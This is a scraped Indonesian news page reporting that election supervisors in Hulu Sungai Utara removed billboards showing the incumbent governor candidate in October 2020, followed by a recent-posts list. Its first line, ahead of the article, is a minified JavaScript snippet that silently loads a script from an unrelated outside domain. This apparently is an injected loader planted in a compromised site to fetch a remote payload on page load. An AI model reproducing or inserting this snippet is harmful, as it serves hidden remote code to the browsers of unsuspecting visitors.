(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Melanggar Aturan, Baliho Bergambar Petahana Diturunkan


KANALKALIMANTAN.COM, AMUNTAI – Dinilai melanggar aturan, Badan Pengawas Pemilu (Bawaslu) Kabupaten Hulu Sungai Utara (HSU) menertibkan baliho program pemerintah yang memuat foto petahana.

Hal ini sesuai dengan Peraturan KPU Nomor 4 Tahun 2017 tentang kampanye terdapat larangan berkampanye dengan menggunakan program pemerintah.

Seperti diketahui, Pilgub Kalsel tahun 2020 menghadirkan dua pasangan calon, yakni pasangan calon (Paslon) nomor urut satu H Sahbirin Noor-Muhidin dan pasangan calon nomor urut dua Denny Indrayana-Difriadi Darjat.

Pada 23 september 2020 lalu, H Sahbirin Noor resmi ditetapkan sebagai calon Gubernur sehingga secara otomatis baliho dan spanduk yang memuat foto dirinya harus diturunkan.

“Totalnya tidak pasti, sekitar 7 sampai 9 buah baliho (yang memuat foto petahana),” ungkap Koordinator Divisi Hukum dan Penanganan Pelanggaran Bawaslu HSU Khairil kepada KanalKalimantan.com, ditanya mengenai jumlah spanduk/baleho yang ditertibkan, Minggu (4/10/2020).

Sementara dalam penertiban malam kemarin, Jumat (3/10/2020), Khairil menyebut Bawaslu HSU melibatkan Kepolisian, TNI, serta Satpol PP di beberapa titik penurunan baliho, seperti di Depan Mesjid At Taqwa, kawasan Kelurahan Antasari, Banua Lima, Muara Tapus hingga kelurahan Sungai Malang.

“Baliho maupun spanduk yang memuat foto petahana semuanya adalah bentuk kampanye, sedangkan tahapan masa kampanye itu sendiri sudah ditentukan waktunya oleh KPU, tahapan kampanye sudah masuk sejak 26 September lalu, sehingga harus ditertibkan, tentunya hal tersebut telah kami koordinasikan dengan Satpol PP, Kepolisian dan TNI,” kata Ketua Bawaslu HSU Syardani.

Bawaslu Kabupaten HSU gencar sosialisasikan tentang netralitas Aparatur Sipil Negara (ASN) untuk mewujudkan pemilu yang berintegritas. (kanalkalimantan.com/dew)

 

Reporter: Dew
Editor : Bie


Desy Arfianty

Recent Posts

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

6 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

12 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

14 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

15 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

16 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

1 hari ago

This website uses cookies.